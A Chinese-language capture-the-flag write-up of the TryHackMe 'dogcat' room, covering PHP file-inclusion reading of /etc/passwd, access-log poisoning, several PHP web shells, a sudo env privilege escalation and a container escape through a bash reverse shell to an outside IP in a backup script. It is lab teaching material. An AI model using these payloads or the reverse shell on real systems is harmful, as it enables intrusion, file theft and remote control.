dogcat|TryHackMe

dogcat|TryHackMe

最不擅长的一集,基本看wp

nmap扫描:

只开了22和80

80端口网页,可以选择dog或者cat,分别返回猫狗图片,有个get参数view=dog

对view进行简单fuzz,发现参数必须包括dog或者cat。

源码很可能是以下结构:

1
2
$dir = $_GET["view"] .'.php';
include($dir);

构造伪协议读取源码:

/?view=php://filter/read=convert.base64-encode/resource=./dog/../index

源码片段是:

1
2
3
4
5
6
7
8
9
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}

$ext可以控制,可以读取所有类型文件。

从报错信息可以知道当前目录是/var/www/html

读/etc/passwd:/?view=php://filter/read=convert.base64-encode/resource=./dog/../../../../etc/passwd&ext=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

好家伙全是nologin

尝试访问access.log

/?view=php://filter/read=convert.base64-encode/resource=./dog/../../../../var/log/apache2/access.log&ext=&

可以看到log内容,验证是否存在文件解析漏洞

起个burp,抓包改useragent为<?php phpinfo(); ?>

可以看到phpinfo,漏洞存在。

改useragent传一个简单的webshell上去<?php system($_GET['cmd']);?>

可以执行一些命令了:/?view=./dog/../../../../var/log/apache2/access.log&ext=&cmd=ls

先读一下flag.php

/?view=php://filter/read=convert.base64-encode/resource=./dog/../flag

<?php system($_GET['cmd']);?>写入shell.php

/?view=./dog/../../../../var/log/apache2/access.log&ext=&cmd=echo "<?php system($_GET['cmd']);?>" >shell.php

/shell.php?cmd=ls解析不了命令,一看写入不完整

用base64编码再传echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= | base64 --decode >shell.php

找到flag2

一直弹不了shell,还是传一句话木马上去吧

echo '<?php @eval($_POST[cmd]);?>' >shell.php

msf菜刀模块连上

sudo -l查看

1
2
3
4
5
6
7
www-data@d169e6ba5479:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on d169e6ba5479:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on d169e6ba5479:
(root) NOPASSWD: /usr/bin/env

env提权:sudo /usr/bin/env /bin/bash -i

/root下找到flag3

flag4需要docker逃逸

在/opt/backups目录下面有一个backup.tar和backup.sh

解压backup.tar拿到一个root文件夹

1
2
3
4
root@d169e6ba5479:/opt/backups/root/containercat launch.sh
cat launch.sh
#!/bin/bash
docker run -d -p 80:80 -v /root/container/backup:/opt/backups --rm box

可以看到backup是docker与宿主机之间的共享目录,并且backup.sh备份的是宿主机的内容。猜测宿主机会定时执行backup.sh

修改backup.sh:

1
echo "bash -i >& /dev/tcp/10.9.224.253/1234 0>&1" >> backup.sh

等一会就反弹过来shell了

也可以用msf的exploit/multi/handler